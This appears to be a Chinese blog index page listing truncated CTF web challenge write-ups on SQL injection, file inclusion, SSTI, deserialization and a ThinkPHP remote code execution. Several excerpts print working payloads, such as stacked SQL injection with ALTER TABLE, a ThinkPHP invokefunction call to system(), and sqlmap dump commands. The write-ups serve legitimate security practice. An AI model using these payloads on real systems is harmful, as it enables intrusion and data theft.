ctf-web刷题之旅
ctf-web题 wp及总结
Diana_1
这个作者很懒,什么都没留下…
展开
-
buu_web-[强网杯 2019]随便注 1
考点:堆叠注入原理在SQL中,分号(;)是用来表示一条sql语句的结束。试想一下我们在 ; 结束一个sql语句后继续构造下一条语句,会不会一起执行?因此这个想法也就造就了堆叠注入。而union injection(联合注入)也是将两条语句合并在一起,两者之间有什么区别么?区别就在于union 或者union all执行的语句类型是有限的,可以用来执行查询语句,而堆叠注入可以执行的是任意的语句。例如以下这个例子。用户输入:1. DELETE FROM products服务器端生成的sql语句为:(因.原创 2020-09-01 17:00:54 · 193 阅读 · 0 评论 -
[攻防世界web]ics-05
全部点一遍只能进入维修中心界面,并再次点击维修中心地址栏http://220.249.52.133:44508/index.php?page=indexLFI漏洞的黑盒判断方法:单纯的从URL判断的话,URL中path、dir、file、pag、page、archive、p、eng、语言文件等相关关键字眼的时候,可能存在文件包含漏洞。这里出现了page这个参数,可以联想到文件包含漏洞LFI参考:代码块漏洞总结其中利用本地包含读取PHP敏感性文件,需要PHP5以上版本。?page=php:.原创 2020-08-16 21:47:43 · 169 阅读 · 0 评论 -
[攻防世界web]fakebook
先使用kali的nikto扫描,发现又user.php.bak下载user.php.bak<?phpclass UserInfo{ public $name = ""; public $age = 0; public $blog = ""; public function __construct($name, $age, $blog) { $this->name = $name; $this->age原创 2020-08-08 15:55:27 · 230 阅读 · 0 评论 -
web_进阶_Web_php_unserialize
参考wp<?php class Demo { private $file = 'index.php'; public function __construct($file) { $this->file = $file; } function __destruct() { echo @highlight_file($this->file, true); } function __wakeup() {原创 2020-08-08 10:53:56 · 266 阅读 · 0 评论 -
web_进阶_Web_easytornado
转载https://blog.csdn.net/weixin_40871137/article/details/94998636这题是2018护网杯原题的复现。进去之后显示三个txt,每个点进去看看。内容如下:/flag.txtflag in /fllllllllllllag/welcome.txtrender/hints.txtmd5(cookie_secret+md5(filename))看看url,发现web9.buuoj.cn/file?filename=/flag.txt&原创 2020-08-08 10:53:45 · 148 阅读 · 0 评论 -
web_进阶_Web_supersqli
由于select被过滤,堆叠注入inject=-1%27;show%20tables%20–+inject=-1’;show columns from 1919810931114514 --+方法一使用handler查询,payload如下:-1’;handler 1919810931114514 open;handler 1919810931114514 read first;#方法二1’; alter table words rename to words1;alter原创 2020-08-08 10:53:30 · 213 阅读 · 0 评论 -
web_进阶_Web_python_template_injection
参考文章#flask模板注入flask的渲染方法有render_template和render_template_string两种。render_template()是用来渲染一个指定的文件的。使用如下return render_template(‘index.html’)render_template_string则是用来渲染一个字符串的。SSTI与这个方法密不可分。使用方法如下html = ‘This is index page’return render_template_strin原创 2020-08-08 10:52:24 · 369 阅读 · 0 评论 -
web_进阶_upload1
文件上传漏洞的前端过滤,对文件名检验function check(){upfile = document.getElementById("upfile");submit = document.getElementById("submit");name = upfile.value;ext = name.replace(/^.+\./,'');if(['jpg','png'].contains(ext)){ submit.disabled = false;}else{ submit.dis原创 2020-08-08 10:51:59 · 160 阅读 · 0 评论 -
web_进阶_PHP2
http://111.198.29.45:59603/index.phps(用御剑扫)源码泄漏<?phpif("admin"===$_GET[id]) { echo("<p>not allowed!</p>"); exit();}$_GET[id] = urldecode($_GET[id]);if($_GET[id] == "admin"){ echo "<p>Access granted!</p>"; echo "&l原创 2020-08-08 10:51:34 · 188 阅读 · 0 评论 -
web_Easy Calc 1_wp
查看源码这块提示有WAF漏洞原创 2020-08-08 10:51:01 · 172 阅读 · 0 评论 -
web_进阶_NaNNaNNaNNaN-Batman
一进去首先是乱码[图片上传中…(image.png-f37e73-1584604647935-0)]eval() 执行这个函数eval()改成alert()获得无乱码的代码function $(){ vare=document.getElementById("c").value; if(e.length==16) if(e.match(/^be0f23/)!=null) if(e.match(/233ac/)!=null) if(e.ma原创 2020-08-08 10:51:23 · 182 阅读 · 0 评论 -
web_进阶_NewsCenter
可以通过sqlmap来爆破在框中随便输入一个test,然后用burp抓包将抓到的数据保存在1.txt里,用sqlmap进行爆破Python sqlmap.py -r 1.txt --dbs爆出数据库名继续查询数据库newsPython sqlmap.py -r 1.txt -D news --dump...原创 2020-08-07 11:14:28 · 341 阅读 · 0 评论 -
web_进阶_warmup
滑稽瞩目F12打开,开发者窗口在HTML中发现访问source.php<?php highlight_file(__FILE__); class emmm { public static function checkFile(&$page) { $whitelist = ["source"=>"source.php","hint"=>"hint.php"]; if (!原创 2020-08-07 11:13:55 · 142 阅读 · 0 评论 -
web_进阶_Web_php_include
先分析这段php代码<?phpshow_source(__FILE__);echo $_GET['hello'];$page=$_GET['page'];while (strstr($page, "php://")) { $page=str_replace("php://", "", $page);}include($page);?>strstr:查找字符串第一次出现,并返回字符串的剩余部分str_replace:str_replace() 函数以其他字符替换字符串原创 2020-08-07 11:07:07 · 207 阅读 · 0 评论 -
web_进阶_php_rce
参考的wp网上很容易搜到thinkphp的payload,然后查询flag,拉到页面底部,看到ThinkPHP的版本是5.0.20:回到CTF的这道题,应该考的就是这个命令执行的漏洞,执行ls命令s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls返回如下,再把index.php和router.php打开看了一下,木有发现flag,再把reque原创 2020-08-07 11:06:37 · 144 阅读 · 0 评论 -
web_进阶_php_rce
参考的wp网上很容易搜到thinkphp的payload,然后查询flag,拉到页面底部,看到ThinkPHP的版本是5.0.20:回到CTF的这道题,应该考的就是这个命令执行的漏洞,执行ls命令s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls返回如下,再把index.php和router.php打开看了一下,木有发现flag,再把reque原创 2020-08-07 11:06:10 · 120 阅读 · 0 评论 -
web 新手村
#weak_auth##题目描述小宁写了一个登陆验证页面,随手就设了一个密码。可以初步判断这是一个弱密钥爆破(当然可以盲猜admin 123456拿到flag)使用WebCrack密码爆破工具#simple_php##题目描述:小宁听说php是最好的语言,于是她简单学习之后写了几行php代码。<?phpshow_source(__FILE__);include("config.php");$a=@$_GET['a'];$b=@$_GET['b'];if($a==0 and原创 2020-08-07 11:05:32 · 250 阅读 · 0 评论 -
php序列化与反序列化
serialize() —> 函数用于序列化对象或数组,并返回一个字符串。serialize() 函数会检查类中是否存在一个魔术方法 __sleep()。如果存在,该方法会先被调用,然后才执行序列化操作。此功能可以用于清理对象,并返回一个包含对象中所有应被序列化的变量名称的数组。如果该方法未返回任何内容,则 NULL 被序列化,并产生一个 E_NOTICE 级别的错误。unserialize() —> 函数用于将通过 serialize()函数序列化后的对象或数组进行反序列化,并返回原始的.原创 2020-08-07 11:04:28 · 121 阅读 · 0 评论 -
sqli-labs闯关6-10
#Less-6 GET - Double Injection - Double Quotes - String (双注入GET双引号字符型注入与第5关类似,只不过这一关使用的是 ""的方式闭合字符串我们只需要将?id=2’ 改为 ?id=2"即可#Less-7 GET - Dump into outfile - String (导出文件GET字符型注入)发现注释符被过滤了!报错提醒使用file权限必须要权限读取且文件必须完全可读and (select count(*) from my原创 2020-08-07 10:59:18 · 163 阅读 · 0 评论 -
sqli-labs闯关1—5(复习hhhh)
参考:http://www.secist.com/archives/4880.html#SQL注入简介SQL注入即是指web应用程序对用户输入数据的合法性没有判断或过滤不严,攻击者可以在web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句,在管理员不知情的情况下实现非法操作,以此来实现欺骗数据库服务器执行非授权的任意查询,从而进一步得到相应的数据信息。(百度百科)####补充知识MySql常用注释方法:/ #(即%23) – /…/ --+验证有多少列:用order by 判断字段数原创 2020-08-07 10:57:14 · 296 阅读 · 0 评论 -
sqlmap 基本使用
原文序遇到SQL注入就sqlmap一把梭,有一说一,这个工具确实好用,不过还是要了解SQL注入原理,不然只能做个脚本小子,简单了解一下 https://www.cnblogs.com/Lee-404/p/12795193.htmlsqlmap使用介绍之前,先简单了解一下sqlmap的参数,可以利用 sqlmap -h 查询,这里简单介绍几个常用的-u URL-r 文件–dbs 获取库名-D 库名–tables 获取表名-T 表名–columns 获取字段名-C 字段名–dump转载 2020-08-06 11:30:10 · 586 阅读 · 0 评论 -
[攻防世界]web2
<?php$miwen="a1zLbgQsCESEIqRLwuQAyMwLyq2L5VwBxqGA3RQAyumZ0tmMvSGM2ZwB4tws";function encode($str){ $_o=strrev($str); // echo $_o; for($_0=0;$_0<strlen($_o);$_0++){ $_c=substr($_o,$_0,1); $__=ord($_c)+1;原创 2020-08-03 12:23:11 · 192 阅读 · 0 评论 -
[攻防世界web]shrine
参考文章1参考文章2 SSTI(服务器模板注入)sql注入是从用户获得一个输入,然后又后端脚本语言进行数据库查询,所以可以利用输入来拼接我们想要的sql语句,当然现在的sql注入防范做得已经很好了,然而随之而来的是更多的漏洞。SSTI也是获取了一个输入,然后再后端的渲染处理上进行了语句的拼接,然后执行。当然还是和sql注入有所不同的,SSTI利用的是现在的网站模板引擎(下面会提到),主要针对python、php、java的一些网站处理框架,比如Python的jinja2 mako tornad原创 2020-07-31 17:19:11 · 445 阅读 · 0 评论 -
HCTF2018-admin
参考大佬博客这道题叫admin,一进去有登录和注册选项,可能是在暗示用admin登录随便注册一个登录发现源码andmin登录成功便可获得flagflask session 伪造flask数据库操作的框架,就只能将session存储在cookie中。因为cookie实际上是存储在客户端(浏览器)中的,所以称之为“客户端session”。flask 新建了URLSafeTimed...原创 2020-04-02 00:38:05 · 323 阅读 · 0 评论 -
攻防世界_web_mfw
想到可能是git泄露,用hackgit扫描一下得到源码<?phpif (isset($_GET['page'])) { $page = $_GET['page'];} else { $page = "home";}$file = "templates/" . $page . ".php";// I heard '..' is dangerous!assert("...原创 2020-04-01 22:37:22 · 277 阅读 · 0 评论 -
攻防世界_wp_web
把题目本身给的后端文件挨个打开(很多个),看其他的wp上面,robots.txt提示了存在git泄露,可以使用githack恢复先挨个搜关键字flag,key之类的,然后第一个就有,api.php如果钱大于某个数就可以拿到flagfunction flag($req){ global $flag; global $flag_price; require_registered(); ...原创 2020-03-31 23:41:27 · 144 阅读 · 0 评论 -
攻防世界_web_ics-06
点进去是个花里胡哨的界面,先试试index.php,或者flag.php之类的源码泄露感觉有点像sql注入,将get包头保存下来,用sqlmap扫一下,并没有然后开始爆破嘿嘿嘿用burp爆破,按返回的长度排序,不一样长的肯定不对得到flag...原创 2020-03-31 22:16:41 · 198 阅读 · 0 评论